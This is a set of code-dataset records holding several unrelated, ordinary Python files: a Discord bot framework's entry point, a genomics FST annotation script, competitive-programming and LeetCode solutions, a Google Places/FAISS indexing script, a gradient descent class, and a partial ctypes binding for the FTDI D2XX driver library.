framework{' beta' if self.config.getboolean('main', 'beta') else ''} v{self.config['main']['ver']}\n\t\tcurrently named {self.config['main']['botname']} by config, uses {self.config['main']['prefix_short']}\n\t\tcreated by Yiays#5930. https://github.com/yiays/merelybot\n\t\t\"\"\")\n\n\t\t#stdout to file\n\t\tif not os.path.exists('logs'): os.makedirs('logs')\n\n\t\tsys.stdout = Logger()\n\t\tsys.stderr = Logger(err=True)\n\n\t\tif 'verbose' in kwargs:\n\t\t\tself.verbose = kwargs['verbose']\n\n\t\tsuper().__init__(command_prefix = self.check_prefix,\n\t\t\t\t\t\t\t\t\t\t help_command = None,\n\t\t\t\t\t\t\t\t\t\t intents = self.intents,\n\t\t\t\t\t\t\t\t\t\t case_insensitive = True)\n\n\t\tself.autoload_extensions()\n\t\n\tdef check_prefix(self, bot, msg:disnake.Message):\n\t\tif bot.config['main']['prefix_short'] and msg.content.lower().startswith(bot.config['main']['prefix_short'].lower()):\n\t\t\treturn [msg.content[0:len(bot.config['main']['prefix_short'])], msg.content[0 : len(bot.config['main']['prefix_short'])] + ' ']\n\t\tif bot.config['main']['prefix_long'] and msg.content.lower().startswith(bot.config['main']['prefix_long'].lower()):\n\t\t\treturn msg.content[0:len(bot.config['main']['prefix_long'])] + ' '\n\t\treturn commands.when_mentioned(bot, msg)\n\n\tdef autoload_extensions(self):\n\t\t# a natural sort is used to make it possible to prioritize extensions by filename\n\t\t# add underscores to extension filenames to increase their priority\n\t\tfor ext in sorted(os.listdir('extensions'), key=lambda s:[int(''.join(g)) if k else ''.join(g) for k, g in groupby('\\0'+s, str.isdigit)]):\n\t\t\tif ext[-3:] == '.py':\n\t\t\t\textfile = ext[:-3]\n\t\t\t\textname = extfile.strip('_')\n\t\t\t\tif extname in self.config['extensions'].keys():\n\t\t\t\t\tif self.config.getboolean('extensions', extname):\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tself.load_extension('extensions.'+extfile)\n\t\t\t\t\t\t\tprint(f\"{extname} loaded.\")\n\t\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\t\tprint(f\"Failed to load extension '{ext[:-3]}':\\n{e}\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tif set(['-v','--verbose']) & set(sys.argv): print(f\"{extname} is disabled, skipping.\")\n\t\t\t\telse:\n\t\t\t\t\tself.config['extensions'][extname] = 'False'\n\t\t\t\t\tprint(f\"discovered {extname}, disabled by default, you can enable it in the config.\")\n\t\tself.config.save()\n\nclass Logger(object):\n\tdef __init__(self, err=False):\n\t\tself.terminal = sys.stderr if err else sys.stdout\n\t\tself.err = err\n\tdef write(self, message):\n\t\tif not os.path.exists(\"logs/\"+time.strftime(\"%m-%y\")):\n\t\t\tos.makedirs(\"logs/\"+time.strftime(\"%m-%y\"))\n\t\tself.terminal.write(message.encode('utf-8').decode('ascii','ignore'))\n\t\twith open(\"logs/\"+time.strftime(\"%m-%y\")+\"/merelybot\"+('-errors' if self.err else '')+\"-\"+time.strftime(\"%d-%m-%y\")+\".log\", \"a\", encoding='utf-8') as log:\n\t\t\tlog.write(message)\n\tdef flush(self):\n\t\treturn self\n\nif __name__ == '__main__':\n\tif set(['-h','--help']) & set(sys.argv):\n\t\tprint(\"\"\"\n\t\tmerelybot commands\n\t\t-h,--help\t\tshows this help screen\n\t\t-v,--verbose\t\tenables verbose logging\n\t\t\"\"\")\n\telse:\n\t\tbot = merelybot(verbose=bool(set(['-v','--verbose']) & set(sys.argv)))\n\n\t\ttoken = bot.config.get('main', 'token', fallback=None)\n\t\tif token is not None:\n\t\t\tbot.run(token)\n\t\telse:\n\t\t\traise Exception(\"failed to login! make sure you filled the token field in the config file.\")\n\nprint(\"exited.\")","repo_name":"MerelyServices/Merely-Framework","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4799,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"60"}
+{"seq_id":"9911494780","text":"#!/usr/bin/env python3\n\nimport sys\n\ni1 = open(sys.argv[1])  # ${vcf}.MODERATE_HIGH_gene.xls\ni2 = sys.stdin  # cat \ni3 = open(sys.argv[2])  # 166_potato_starch_vs_european_Fst_region.xls\nchro = str(sys.argv[3]) # chromosome, chr01\n\nfst={}\nfor line in i2:\n\tif 'pop1' not in line:\n\t\tline = line.strip().split()\n\t\tfst[line[0]] = line[1]\n\nregion = {}\nfor line in i3:\n\tline = line.strip().split()\n\tif line[0] == chro:\n\t\tregion[line[0]+'~'+line[1]+'~'+line[2]] = ''\n\nfor line in i1:\n\tif '#' not in line:\n\t\tline = line.strip().split()\n\t\tf = 0\n\t\tfor k in region:\n\t\t\tstart = int(k.split('~')[1])\n\t\t\tend = int(k.split('~')[2])\n\t\t\tif int(line[1]) >= start and int(line[1]) <= end:\n\t\t\t\tf += 1\n\t\tif f:\n\t\t\tdiverged = 'InHighlyDivergedRegion'\n\t\telse:\n\t\t\tdiverged = 'NotInHighlyDivergedRegion'\n\t\tif line[1] in fst:\n\t\t\tprint('\\t'.join(line), fst[line[1]], diverged, sep='\\t')\n\n","repo_name":"HongboDoll/ModernPotatoDivergence","sub_path":"Selective sweeps highly divergent regions and Tajimas D/add_fst.py","file_name":"add_fst.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"1230434540","text":"#                         author:  kagemeka\r\n#                         created: 2019-11-07 12:33:44(JST)\r\nimport sys\r\n\r\n# import collections\r\n# import math\r\n# import string\r\n# import bisect\r\n# import re\r\n# import itertools\r\n# import statistics\r\n# import functools\r\n# import operator\r\n\r\n\r\ndef main():\r\n    n, x, *m = (int(i) for i in sys.stdin.read().split())\r\n    x -= sum(m)\r\n    c = n\r\n    c += x // min(m)\r\n    print(c)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    # execute only if run as a script\r\n    main()\r\n","repo_name":"kagemeka/atcoder-submissions","sub_path":"jp.atcoder/abc095/abc095_b/8319934.py","file_name":"8319934.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"32907425143","text":"# read json article\nimport json\nwith open('holiday_data.json') as json_file:\n    holiday_data = json.load(json_file)\n\nimport os\ngoogAPI = os.environ.get(\"googAPI\") \nfrom googleplaces import GooglePlaces, types, lang\n\n\ngoogPlacesHoliday = list()\nfor holiday in holiday_data['holidays']:\n    google_places = GooglePlaces(googAPI)\n    query_result = google_places.text_search(lat_lng = None,query='tourist destinations', location = holiday['location'] + \", South Australia\")\n    for place in query_result.places:\n        place.get_details()\n        googPlacesHoliday.append(place)\n\nimport pickle as pkl\npkl.dump(googPlacesHoliday, open(\"googPlacesHoliday.pkl\", \"wb\"))\n\n# create a new faiss index\nimport faiss\nimport numpy as np\nfrom sentence_transformers import SentenceTransformer\n\n# load BERT model\nmodel = SentenceTransformer('msmarco-distilbert-base-dot-prod-v3') # bert-base-nli-mean-tokens\n\ngooglePlaces_index = faiss.IndexFlatL2(768)\n\n# embed and add each descriptor from the holiday data\nfor place in googPlacesHoliday:\n    # embed text\n    embedding = model.encode(place.name)\n    # add vector to faiss\n    googlePlaces_index.add(np.array([embedding]))\n\ngoogPlaces = {'index': googlePlaces_index, 'places': googPlacesHoliday}\npkl.dump(googPlaces, open(\"googPlacesHoliday.pkl\", \"wb\"))","repo_name":"jessearcana/govhack2023","sub_path":"create_googlePlaces_list.py","file_name":"create_googlePlaces_list.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"2647034103","text":"#\n# @lc app=leetcode id=784 lang=python3\n#\n# [784] Letter Case Permutation\n#\n\n# @lc code=start\nclass Solution:\n    def letterCasePermutation(self, S: str) -> List[str]:\n        S = S.lower()\n        result = [\"\"]\n        for c in S:\n            n = len(result)\n            C = c.upper() if c.isalpha() else \"\"\n            for i in range(n):\n                result[i] += c\n            if C != \"\":\n                result = result * 2\n                for i in range(n, 2 * n):\n                    result[i] = result[i][:-1] + C\n        return result\n\n\n# @lc code=end\n","repo_name":"CharlesGeng/LeetCode","sub_path":"784.letter-case-permutation.py","file_name":"784.letter-case-permutation.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27019507412","text":"# Problem: https://leetcode.com/problems/subarray-sum-equals-k/submissions/\n\nclass Solution:\n    def subarraySum(self, nums: List[int], k: int) -> int:\n        d, sums, count = {0:1}, 0, 0\n        \n        for i in range(len(nums)):\n            sums = sums + nums[i]\n            \n            # think, of array: 1, 2, 0, 0, 0, -9, 12 and k: 3\n            if sums not in d: d[sums] = 1\n            else: d[sums] = d[sums] + 1\n                \n                \n            if (sums - k) in d: count = count + d[sums - k]\n                \n        return count","repo_name":"tonnidas/basic_codes","sub_path":"DFS/SubArrayRelatedProblems/subArraySumEqualsK.py","file_name":"subArraySumEqualsK.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"19144683127","text":"import random\n\nclass SGD:\n    def __init__(self, alpha, noEpochs):\n        self.alpha = alpha\n        self.noEpochs = noEpochs\n        self.intercept = random.random()\n        self.coefs = []\n\n    # simple stochastic GD\n    def fit(self, inputs, outputs):\n        self.coefs = [random.random() for _ in range(len(inputs) + 1)]\n        for epoch in range(self.noEpochs):\n            # TBA: shuffle the trainind examples in order to prevent cycles\n            for i in range(len(inputs[0])): # for each sample from the training data\n                ycomputed = self.eval(inputs, i)     # estimate the output\n                crtError = ycomputed - outputs[i]     # compute the error for the current sample\n                for j in range(0, len(inputs)):   # update the coefficients\n                    self.coefs[j] = self.coefs[j] - self.alpha * crtError * inputs[j][i]\n                self.coefs[len(inputs)] = self.coefs[len(inputs)] - self.alpha * crtError\n\n        self.intercept = self.coefs[-1]\n        self.coefs = self.coefs[:-1]\n\n    def eval(self, inputs, idx):\n        yi = self.coefs[-1]\n        for j in range(len(inputs)):\n            yi += self.coefs[j] * inputs[j][idx]\n        return yi\n\n    def predict(self, input):\n        # ia toate inputurile si calculeaza pentru fiecare index valoarea\n        yComputed = []\n        for i in range(len(input[0])):\n            yComputed.append(self.eval(input, i))\n\n        return yComputed","repo_name":"dariamarc/AI","sub_path":"GD/service/stochasticGD.py","file_name":"stochasticGD.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39492120283","text":"import sys as _sys\nimport ctypes as _ctypes\n\n\n# Select library\nif _sys.platform == 'win32':\n    try:\n        _library = _ctypes.CDLL('ftd2xx64.dll')\n    except FileNotFoundError:\n        print('Unable to find D2XX64 DLL. Fallback to D2XX32.')\n        try:\n            _library = _ctypes.CDLL('ftd2xx.dll')\n        except FileNotFoundError:\n            raise FileNotFoundError('Unable to find D2XX DLL. Please make sure ftd2xx.dll or ftd2xx64.dll is in the path.')\nelif _sys.platform.startswith('linux'):\n    \"\"\"Not implemented\"\"\"\n    raise NotImplementedError()\nelif _sys.platform == 'darwin':\n    \"\"\"Not implemented\"\"\"\n    raise NotImplementedError()\n\n\n# Typedefs\nSTRING = _ctypes.c_char_p\nDWORD = _ctypes.c_uint32\nULONG = _ctypes.c_uint32\nUSHORT = _ctypes.c_uint16\nSHORT = _ctypes.c_uint16\nUCHAR = _ctypes.c_ubyte\nWORD = _ctypes.c_uint16\nWCHAR = _ctypes.c_uint16\nBYTE = _ctypes.c_ubyte\nLPBYTE = _ctypes.POINTER(BYTE)\nBOOL = _ctypes.c_uint32\nBOOLEAN = _ctypes.c_ubyte\nCHAR = _ctypes.c_ubyte\nLPBOOL = _ctypes.POINTER(BOOL)\nPUCHAR = _ctypes.POINTER(UCHAR)\nLPCSTR = STRING\nPCHAR = STRING\nPVOID = _ctypes.c_void_p\nHANDLE = PVOID\nLONG = _ctypes.c_uint32\nINT = _ctypes.c_int32\nUINT = _ctypes.c_uint32\nLPSTR = STRING\nLPTSTR = STRING\nLPCTSTR = STRING\nLPDWORD = _ctypes.POINTER(DWORD)\nLPWORD = _ctypes.POINTER(WORD)\nPULONG = _ctypes.POINTER(ULONG)\nLPLONG = _ctypes.POINTER(LONG)\nLPVOID = PVOID\nPUSHORT = _ctypes.POINTER(USHORT)\nULONGLONG = _ctypes.c_ulonglong\n\nFT_HANDLE = PVOID\nFT_STATUS = ULONG\nPFT_EVENT_HANDLER = _ctypes.POINTER(_ctypes.CFUNCTYPE(None, ULONG, ULONG))\nFT_DEVICE = ULONG\n\n\n# Structures\nclass struct_ft_program_data(_ctypes.Structure):\n    _pack_ = True # source:False\n    _fields_ = [\n    ('Signature1', DWORD),\n    ('Signature2', DWORD),\n    ('Version', DWORD),\n    ('VendorId', WORD),\n    ('ProductId', WORD),\n    ('Manufacturer', STRING),\n    ('ManufacturerId', STRING),\n    ('Description', STRING),\n    ('SerialNumber', STRING),\n    ('MaxPower', WORD),\n    ('PnP', WORD),\n    ('SelfPowered', WORD),\n    ('RemoteWakeup', WORD),\n    ('Rev4', UCHAR),\n    ('IsoIn', UCHAR),\n    ('IsoOut', UCHAR),\n    ('PullDownEnable', UCHAR),\n    ('SerNumEnable', UCHAR),\n    ('USBVersionEnable', UCHAR),\n    ('USBVersion', WORD),\n    ('Rev5', UCHAR),\n    ('IsoInA', UCHAR),\n    ('IsoInB', UCHAR),\n    ('IsoOutA', UCHAR),\n    ('IsoOutB', UCHAR),\n    ('PullDownEnable5', UCHAR),\n    ('SerNumEnable5', UCHAR),\n    ('USBVersionEnable5', UCHAR),\n    ('USBVersion5', WORD),\n    ('AIsHighCurrent', UCHAR),\n    ('BIsHighCurrent', UCHAR),\n    ('IFAIsFifo', UCHAR),\n    ('IFAIsFifoTar', UCHAR),\n    ('IFAIsFastSer', UCHAR),\n    ('AIsVCP', UCHAR),\n    ('IFBIsFifo', UCHAR),\n    ('IFBIsFifoTar', UCHAR),\n    ('IFBIsFastSer', UCHAR),\n    ('BIsVCP', UCHAR),\n    ('UseExtOsc', UCHAR),\n    ('HighDriveIOs', UCHAR),\n    ('EndpointSize', UCHAR),\n    ('PullDownEnableR', UCHAR),\n    ('SerNumEnableR', UCHAR),\n    ('InvertTXD', UCHAR),\n    ('InvertRXD', UCHAR),\n    ('InvertRTS', UCHAR),\n    ('InvertCTS', UCHAR),\n    ('InvertDTR', UCHAR),\n    ('InvertDSR', UCHAR),\n    ('InvertDCD', UCHAR),\n    ('InvertRI', UCHAR),\n    ('Cbus0', UCHAR),\n    ('Cbus1', UCHAR),\n    ('Cbus2', UCHAR),\n    ('Cbus3', UCHAR),\n    ('Cbus4', UCHAR),\n    ('RIsD2XX', UCHAR),\n    ('PullDownEnable7', UCHAR),\n    ('SerNumEnable7', UCHAR),\n    ('ALSlowSlew', UCHAR),\n    ('ALSchmittInput', UCHAR),\n    ('ALDriveCurrent', UCHAR),\n    ('AHSlowSlew', UCHAR),\n    ('AHSchmittInput', UCHAR),\n    ('AHDriveCurrent', UCHAR),\n    ('BLSlowSlew', UCHAR),\n    ('BLSchmittInput', UCHAR),\n    ('BLDriveCurrent', UCHAR),\n    ('BHSlowSlew', UCHAR),\n    ('BHSchmittInput', UCHAR),\n    ('BHDriveCurrent', UCHAR),\n    ('IFAIsFifo7', UCHAR),\n    ('IFAIsFifoTar7', UCHAR),\n    ('IFAIsFastSer7', UCHAR),\n    ('AIsVCP7', UCHAR),\n    ('IFBIsFifo7', UCHAR),\n    ('IFBIsFifoTar7', UCHAR),\n    ('IFBIsFastSer7', UCHAR),\n    ('BIsVCP7', UCHAR),\n    ('PowerSaveEnable', UCHAR),\n    ('PullDownEnable8', UCHAR),\n    ('SerNumEnable8', UCHAR),\n    ('ASlowSlew', UCHAR),\n    ('ASchmittInput', UCHAR),\n    ('ADriveCurrent', UCHAR),\n    ('BSlowSlew', UCHAR),\n    ('BSchmittInput', UCHAR),\n    ('BDriveCurrent', UCHAR),\n    ('CSlowSlew', UCHAR),\n    ('CSchmittInput', UCHAR),\n    ('CDriveCurrent', UCHAR),\n    ('DSlowSlew', UCHAR),\n    ('DSchmittInput', UCHAR),\n    ('DDriveCurrent', UCHAR),\n    ('ARIIsTXDEN', UCHAR),\n    ('BRIIsTXDEN', UCHAR),\n    ('CRIIsTXDEN', UCHAR),\n    ('DRIIsTXDEN', UCHAR),\n    ('AIsVCP8', UCHAR),\n    ('BIsVCP8', UCHAR),\n    ('CIsVCP8', UCHAR),\n    ('DIsVCP8', UCHAR),\n    ('PullDownEnableH', UCHAR),\n    ('SerNumEnableH', UCHAR),\n    ('ACSlowSlewH', UCHAR),\n    ('ACSchmittInputH', UCHAR),\n    ('ACDriveCurrentH', UCHAR),\n    ('ADSlowSlewH', UCHAR),\n    ('ADSchmittInputH', UCHAR),\n    ('ADDriveCurrentH', UCHAR),\n    ('Cbus0H', UCHAR),\n    ('Cbus1H', UCHAR),\n    ('Cbus2H', UCHAR),\n    ('Cbus3H', UCHAR),\n    ('Cbus4H', UCHAR),\n    ('Cbus5H', UCHAR),\n    ('Cbus6H', UCHAR),\n    ('Cbus7H', UCHAR),\n    ('Cbus8H', UCHAR),\n    ('Cbus9H', UCHAR),\n    ('IsFifoH', UCHAR),\n    ('IsFifoTarH', UCHAR),\n    ('IsFastSerH', UCHAR),\n    ('IsFT1248H', UCHAR),\n    ('FT1248CpolH', UCHAR),\n    ('FT1248LsbH', UCHAR),\n    ('FT1248FlowControlH', UCHAR),\n    ('IsVCPH', UCHAR),\n    ('PowerSaveEnableH', UCHAR),\n     ]\nPFT_PROGRAM_DATA = _ctypes.POINTER(struct_ft_program_data)\nFT_PROGRAM_DATA = struct_ft_program_data\n\n\nclass struct_ft_eeprom_header(_ctypes.Structure):\n    _pack_ = True # source:False\n    _fields_ = [\n    ('deviceType', DWORD),\n    ('VendorId', WORD),\n    ('ProductId', WORD),\n    ('SerNumEnable', UCHAR),\n    ('MaxPower', WORD),\n    ('SelfPowered', UCHAR),\n    ('RemoteWakeup', UCHAR),\n    ('PullDownEnable', UCHAR),\n     ]\nFT_EEPROM_HEADER = struct_ft_eeprom_header\nPFT_EEPROM_HEADER = _ctypes.POINTER(struct_ft_eeprom_header)\n\n\nclass struct_ft_eeprom_232b(_ctypes.Structure):\n    _pack_ = True # source:False\n    _fields_ = [\n    ('common', FT_EEPROM_HEADER),\n     ]\nFT_EEPROM_232B = struct_ft_eeprom_232b\nPFT_EEPROM_232B = _ctypes.POINTER(struct_ft_eeprom_232b)\n\n\nclass struct_ft_eeprom_2232(_ctypes.Structure):\n    _pack_ = True # source:False\n    _fields_ = [\n    ('common', FT_EEPROM_HEADER),\n    ('AIsHighCurrent', UCHAR),\n    ('BIsHighCurrent', UCHAR),\n    ('AIsFifo', UCHAR),\n    ('AIsFifoTar', UCHAR),\n    ('AIsFastSer', UCHAR),\n    ('BIsFifo', UCHAR),\n    ('BIsFifoTar', UCHAR),\n    ('BIsFastSer', UCHAR),\n    ('ADriverType', UCHAR),\n    ('BDriverType', UCHAR),\n     ]\nFT_EEPROM_2232 = struct_ft_eeprom_2232\nPFT_EEPROM_2232 = _ctypes.POINTER(struct_ft_eeprom_2232)\n\n\nclass struct_ft_eeprom_232r(_ctypes.Structure):\n    _pack_ = True # source:False\n    _fields_ = [\n    ('common', FT_EEPROM_HEADER),\n    ('IsHighCurrent', UCHAR),\n    ('UseExtOsc', UCHAR),\n    ('InvertTXD', UCHAR),\n    ('InvertRXD', UCHAR),\n    ('InvertRTS', UCHAR),\n    ('InvertCTS', UCHAR),\n    ('InvertDTR', UCHAR),\n    ('InvertDSR', UCHAR),\n    ('InvertDCD', UCHAR),\n    ('InvertRI', UCHAR),\n    ('Cbus0', UCHAR),\n    ('Cbus1', UCHAR),\n    ('Cbus2', UCHAR),\n    ('Cbus3', UCHAR),\n    ('Cbus4', UCHAR),\n    ('DriverType', UCHAR),\n     ]\nFT_EEPROM_232R = struct_ft_eeprom_232r\nPFT_EEPROM_232R = _ctypes.POINTER(struct_ft_eeprom_232r)\n\n\nclass struct_ft_eeprom_2232h(_ctypes.Structure):\n    _pack_ = True # source:False\n    _fields_ = [\n    ('common', FT_EEPROM_HEADER),\n    ('ALSlowSlew', UCHAR),\n    ('ALSchmittInput', UCHAR),\n    ('ALDriveCurrent', UCHAR),\n    ('AHSlowSlew', UCHAR),\n    ('AHSchmittInput', UCHAR),\n    ('AHDriveCurrent', UCHAR),\n    ('BLSlowSlew', UCHAR),\n    ('BLSchmittInput', UCHAR),\n    ('BLDriveCurrent', UCHAR),\n    ('BHSlowSlew', UCHAR),\n    ('BHSchmittInput', UCHAR),\n    ('BHDriveCurrent', UCHAR),\n    ('AIsFifo', UCHAR),\n    ('AIsFifoTar', UCHAR),\n    ('AIsFastSer', UCHAR),\n    ('BIsFifo', UCHAR),\n    ('BIsFifoTar', UCHAR),\n    ('BIsFastSer', UCHAR),\n    ('PowerSaveEnable', UCHAR),\n    ('ADriverType', UCHAR),\n    ('BDriverType', UCHAR),\n     ]\nPFT_EEPROM_2232H = _ctypes.POINTER(struct_ft_eeprom_2232h)\nFT_EEPROM_2232H = struct_ft_eeprom_2232h\n\n\nclass struct_ft_eeprom_4232h(_ctypes.Structure):\n    _pack_ = True # source:False\n    _fields_ = [\n    ('common', FT_EEPROM_HEADER),\n    ('ASlowSlew', UCHAR),\n    ('ASchmittInput', UCHAR),\n    ('ADriveCurrent', UCHAR),\n    ('BSlowSlew', UCHAR),\n    ('BSchmittInput', UCHAR),\n    ('BDriveCurrent', UCHAR),\n    ('CSlowSlew', UCHAR),\n    ('CSchmittInput', UCHAR),\n    ('CDriveCurrent', UCHAR),\n    ('DSlowSlew', UCHAR),\n    ('DSchmittInput', UCHAR),\n    ('DDriveCurrent', UCHAR),\n    ('ARIIsTXDEN', UCHAR),\n    ('BRIIsTXDEN', UCHAR),\n    ('CRIIsTXDEN', UCHAR),\n    ('DRIIsTXDEN', UCHAR),\n    ('ADriverType', UCHAR),\n    ('BDriverType', UCHAR),\n    ('CDriverType', UCHAR),\n    ('DDriverType', UCHAR),\n     ]\nPFT_EEPROM_4232H = _ctypes.POINTER(struct_ft_eeprom_4232h)\nFT_EEPROM_4232H = struct_ft_eeprom_4232h\n\n\nclass struct_ft_eeprom_232h(_ctypes.Structure):\n    _pack_ = True # source:False\n    _fields_ = [\n    ('common', FT_EEPROM_HEADER),\n    ('ACSlowSlew', UCHAR),\n    ('ACSchmittInput', UCHAR),\n    ('ACDriveCurrent', UCHAR),\n    ('ADSlowSlew', UCHAR),\n    ('ADSchmittInput', UCHAR),\n    ('ADDriveCurrent', UCHAR),\n    ('Cbus0', UCHAR),\n    ('Cbus1', UCHAR),\n    ('Cbus2', UCHAR),\n    ('Cbus3', UCHAR),\n    ('Cbus4', UCHAR),\n    ('Cbus5', UCHAR),\n    ('Cbus6', UCHAR),\n    ('Cbus7', UCHAR),\n    ('Cbus8', UCHAR),\n    ('Cbus9', UCHAR),\n    ('FT1248Cpol', UCHAR),\n    ('FT1248Lsb', UCHAR),\n    ('FT1248FlowControl', UCHAR),\n    ('IsFifo', UCHAR),\n    ('IsFifoTar', UCHAR),\n    ('IsFastSer', UCHAR),\n    ('IsFT1248', UCHAR),\n    ('PowerSaveEnable', UCHAR),\n    ('DriverType', UCHAR),\n     ]\nPFT_EEPROM_232H = _ctypes.POINTER(struct_ft_eeprom_232h)\nFT_EEPROM_232H = struct_ft_eeprom_232h\n\n\nclass struct_ft_eeprom_x_series(_ctypes.Structure):\n    _pack_ = True # source:False\n    _fields_ = [\n    ('common', FT_EEPROM_HEADER),\n    ('ACSlowSlew', UCHAR),\n    ('ACSchmittInput', UCHAR),\n    ('ACDriveCurrent', UCHAR),\n    ('ADSlowSlew', UCHAR),\n    ('ADSchmittInput', UCHAR),\n    ('ADDriveCurrent', UCHAR),\n    ('Cbus0', UCHAR),\n    ('Cbus1', UCHAR),\n    ('Cbus2', UCHAR),\n    ('Cbus3', UCHAR),\n    ('Cbus4', UCHAR),\n    ('Cbus5', UCHAR),\n    ('Cbus6', UCHAR),\n    ('InvertTXD', UCHAR),\n    ('InvertRXD', UCHAR),\n    ('InvertRTS', UCHAR),\n    ('InvertCTS', UCHAR),\n    ('InvertDTR', UCHAR),\n    ('InvertDSR', UCHAR),\n    ('InvertDCD', UCHAR),\n    ('InvertRI', UCHAR),\n    ('BCDEnable', UCHAR),\n    ('BCDForceCbusPWREN', UCHAR),\n    ('BCDDisableSleep', UCHAR),\n    ('I2CSlaveAddress', WORD),\n    ('I2CDeviceId', DWORD),\n    ('I2CDisableSchmitt', UCHAR),\n    ('FT1248Cpol', UCHAR),\n    ('FT1248Lsb', UCHAR),\n    ('FT1248FlowControl', UCHAR),\n    ('RS485EchoSuppress', UCHAR),\n    ('PowerSaveEnable', UCHAR),\n    ('DriverType', UCHAR),\n     ]\nPFT_EEPROM_X_SERIES = _ctypes.POINTER(struct_ft_eeprom_x_series)\nFT_EEPROM_X_SERIES = struct_ft_eeprom_x_series\n\n\nclass struct__FTCOMSTAT(_ctypes.Structure):\n    _pack_ = True # source:False\n    _fields_ = [\n    ('fCtsHold', DWORD, 1),\n    ('fDsrHold', DWORD, 1),\n    ('fRlsdHold', DWORD, 1),\n    ('fXoffHold', DWORD, 1),\n    ('fXoffSent', DWORD, 1),\n    ('fEof', DWORD, 1),\n    ('fTxim', DWORD, 1),\n    ('fReserved', DWORD, 25),\n    ('cbInQue', DWORD),\n    ('cbOutQue', DWORD),\n     ]\nFTCOMSTAT = struct__FTCOMSTAT\nLPFTCOMSTAT = _ctypes.POINTER(struct__FTCOMSTAT)\n\n\nclass struct__FTDCB(_ctypes.Structure):\n    _pack_ = True # source:False\n    _fields_ = [\n    ('DCBlength', DWORD),\n    ('BaudRate', DWORD),\n    ('fBinary', DWORD, 1),\n    ('fParity', DWORD, 1),\n    ('fOutxCtsFlow', DWORD, 1),\n    ('fOutxDsrFlow', DWORD, 1),\n    ('fDtrControl', DWORD, 2),\n    ('fDsrSensitivity', DWORD, 1),\n    ('fTXContinueOnXoff', DWORD, 1),\n    ('fOutX', DWORD, 1),\n    ('fInX', DWORD, 1),\n    ('fErrorChar', DWORD, 1),\n    ('fNull', DWORD, 1),\n    ('fRtsControl', DWORD, 2),\n    ('fAbortOnError', DWORD, 1),\n    ('fDummy2', DWORD, 17),\n    ('wReserved', WORD),\n    ('XonLim', WORD),\n    ('XoffLim', WORD),\n    ('ByteSize', UCHAR),\n    ('Parity', UCHAR),\n    ('StopBits', UCHAR),\n    ('XonChar', _ctypes.c_char),\n    ('XoffChar', _ctypes.c_char),\n    ('ErrorChar', _ctypes.c_char),\n    ('EofChar', _ctypes.c_char),\n    ('EvtChar', _ctypes.c_char),\n    ('wReserved1', WORD),\n     ]\nFTDCB = struct__FTDCB\nLPFTDCB = _ctypes.POINTER(struct__FTDCB)\n\n\nclass struct__FTTIMEOUTS(_ctypes.Structure):\n    _pack_ = True # source:False\n    _fields_ = [\n    ('ReadIntervalTimeout', DWORD),\n    ('ReadTotalTimeoutMultiplier', DWORD),\n    ('ReadTotalTimeoutConstant', DWORD),\n    ('WriteTotalTimeoutMultiplier', DWORD),\n    ('WriteTotalTimeoutConstant', DWORD),\n     ]\nLPFTTIMEOUTS = _ctypes.POINTER(struct__FTTIMEOUTS)\nFTTIMEOUTS = struct__FTTIMEOUTS\n\n\nclass struct__ft_device_list_info_node(_ctypes.Structure):\n    _pack_ = True # source:False\n    _fields_ = [\n    ('Flags', DWORD),\n    ('Type', DWORD),\n    ('ID', DWORD),\n    ('LocId', DWORD),\n    ('SerialNumber', _ctypes.c_char * 16),\n    ('Description', _ctypes.c_char * 64),\n    ('ftHandle', FT_HANDLE),\n     ]\nFT_DEVICE_LIST_INFO_NODE = struct__ft_device_list_info_node\n\n\nclass struct__SECURITY_ATTRIBUTES(_ctypes.Structure):\n    _pack_ = True # source:False\n    _fields_ = [\n    ('nLength', DWORD),\n    ('lpSecurityDescriptor', PVOID),\n    ('bInheritHandle', BOOL),\n     ]\nLPSECURITY_ATTRIBUTES = _ctypes.POINTER(struct__SECURITY_ATTRIBUTES)\n\n\nclass struct__OVERLAPPED(_ctypes.Structure):\n    _fields_ = [\n    ('Internal', DWORD),\n    ('InternalHigh', DWORD),\n    ('Offset', DWORD),\n    ('OffsetHigh', DWORD),\n    ('hEvent', HANDLE),\n]\nLPOVERLAPPED = _ctypes.POINTER(struct__OVERLAPPED)\nOVERLAPPED = struct__OVERLAPPED\n\n\n# C-Functions\nFT_Open = _library.FT_Open\nFT_Open.restype = FT_STATUS\n# FT_Open(deviceNumber, pHandle)\nFT_Open.argtypes = [_ctypes.c_int32, _ctypes.POINTER(_ctypes.POINTER(None))]\nFT_Open.__doc__ = \\\n    \"\"\"FT_STATUS FT_Open(c_int32 deviceNumber, LP_LP_None pHandle)\n    .\\ftd2xx.h:366\"\"\"\nFT_OpenEx = _library.FT_OpenEx\nFT_OpenEx.restype = FT_STATUS\n# FT_OpenEx(pArg1, Flags, pHandle)\nFT_OpenEx.argtypes = [PVOID, DWORD, _ctypes.POINTER(_ctypes.POINTER(None))]\nFT_OpenEx.__doc__ = \\\n    \"\"\"FT_STATUS FT_OpenEx(PVOID pArg1, DWORD Flags, LP_LP_None pHandle)\n    .\\ftd2xx.h:372\"\"\"\nFT_ListDevices = _library.FT_ListDevices\nFT_ListDevices.restype = FT_STATUS\n# FT_ListDevices(pArg1, pArg2, Flags)\nFT_ListDevices.argtypes = [PVOID, PVOID, DWORD]\nFT_ListDevices.__doc__ = \\\n    \"\"\"FT_STATUS 